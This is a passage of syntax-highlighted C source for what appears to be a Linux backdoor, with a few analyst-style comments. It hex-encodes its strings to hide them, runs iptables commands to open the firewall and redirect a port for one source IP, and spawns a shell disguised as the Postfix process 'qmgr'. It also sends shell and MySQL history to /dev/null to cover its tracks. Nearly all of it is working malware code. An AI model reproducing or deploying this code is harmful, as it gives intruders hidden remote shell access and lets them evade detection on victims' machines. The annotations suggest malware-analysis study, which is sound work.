<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x6a</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x44</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x43</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> inputfmt<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x4e</span><span class="sy0">,</span> <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu12">0x55</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x6a</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x41</span><span class="sy0">,</span> <span class="nu12">0x43</span><span class="sy0">,</span> <span class="nu12">0x43</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> dinputfmt<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x44</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x4e</span><span class="sy0">,</span> <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu12">0x55</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x6a</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x41</span><span class="sy0">,</span> <span class="nu12">0x43</span><span class="sy0">,</span> <span class="nu12">0x43</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; sockfd <span class="sy0">=</span> b<span class="br0">&#40;</span><span class="sy0">&amp;</span>toport<span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">// looks like it selects random ephemral port here</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>sockfd <span class="sy0">==</span> <span class="sy0">-</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="kw1">return</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">snprintf</span><span class="br0">&#40;</span>cmd<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>cmd<span class="br0">&#41;</span><span class="sy0">,</span> inputfmt<span class="sy0">,</span> ip<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">snprintf</span><span class="br0">&#40;</span>dcmd<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>dcmd<span class="br0">&#41;</span><span class="sy0">,</span> dinputfmt<span class="sy0">,</span> ip<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">system</span><span class="br0">&#40;</span>cmd<span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">// executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT </span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; sleep<span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">memset</span><span class="br0">&#40;</span>cmd<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>cmd<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">snprintf</span><span class="br0">&#40;</span>cmd<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>cmd<span class="br0">&#41;</span><span class="sy0">,</span> cmdfmt<span class="sy0">,</span> ip<span class="sy0">,</span> fromport<span class="sy0">,</span> toport<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">snprintf</span><span class="br0">&#40;</span>rcmd<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>rcmd<span class="br0">&#41;</span><span class="sy0">,</span> rcmdfmt<span class="sy0">,</span> ip<span class="sy0">,</span> fromport<span class="sy0">,</span> toport<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">system</span><span class="br0">&#40;</span>cmd<span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">// executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; sleep<span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; sock <span class="sy0">=</span> w<span class="br0">&#40;</span>sockfd<span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">// creates a sock that listens on port specified earlier</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span> sock <span class="sy0">&lt;</span> <span class="nu0">0</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// passes sock and </span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// dcmd = &nbsp;/sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT </span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; shell<span class="br0">&#40;</span>sock<span class="sy0">,</span> rcmd<span class="sy0">,</span> dcmd<span class="br0">&#41;</span><span class="sy0">;</span> </div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> shell<span class="br0">&#40;</span><span class="kw4">int</span> sock<span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">*</span>rcmd<span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">*</span>dcmd<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> subshell<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; fd_set fds<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> buf<span class="br0">&#91;</span>BUF<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> argx<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x71</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x67</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x66</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x66</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// qmgr -l -t fifo -u</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> <span class="sy0">*</span>argvv<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span>argx<span class="sy0">,</span> NULL<span class="sy0">,</span> NULL<span class="br0">&#125;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define MAXENV 256</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define ENVLEN 256</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> <span class="sy0">*</span>envp<span class="br0">&#91;</span>MAXENV<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> sh<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x68</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// /bin/sh</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> ret<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> home<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu12">0x48</span><span class="sy0">,</span> <span class="nu12">0x4f</span><span class="sy0">,</span> <span class="nu12">0x4d</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x3d</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// HOME=/tmp</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> ps<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu12">0x53</span><span class="sy0">,</span> <span class="nu12">0x31</span><span class="sy0">,</span> <span class="nu12">0x3d</span><span class="sy0">,</span> <span class="nu12">0x5b</span><span class="sy0">,</span> <span class="nu12">0x5c</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x40</span><span class="sy0">,</span> <span class="nu12">0x5c</span><span class="sy0">,</span> <span class="nu12">0x68</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x5c</span><span class="sy0">,</span> <span class="nu12">0x57</span><span class="sy0">,</span> <span class="nu12">0x5d</span><span class="sy0">,</span> <span class="nu12">0x5c</span><span class="sy0">,</span> <span class="nu12">0x5c</span><span class="sy0">,</span> <span class="nu12">0x24</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// PS1=[\u@\h \W]\\$ </span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> histfile<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x53</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x46</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x4c</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x3d</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x76</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// HISTFILE=/dev/null</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> mshist<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x4d</span><span class="sy0">,</span> <span class="nu12">0x59</span><span class="sy0">,</span> <span class="nu12">0x53</span><span class="sy0">,</span> <span class="nu12">0x51</span><span class="sy0">,</span> <span class="nu12">0x4c</span><span class="sy0">,</span> <span class="nu12">0x5f</span><span class="sy0">,</span> <span class="nu12">0x48</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x53</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x46</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x4c</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x3d</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x76</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// MYSQL_HISTFILE=/dev/null</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> ipath<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu12">0x41</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x48</span><span class="sy0">,</span> <span class="nu12">0x3d</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x3a</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x6b</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x3a</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x6b</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x3a</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x3a</span><span class="sy0">,</span></div></li>
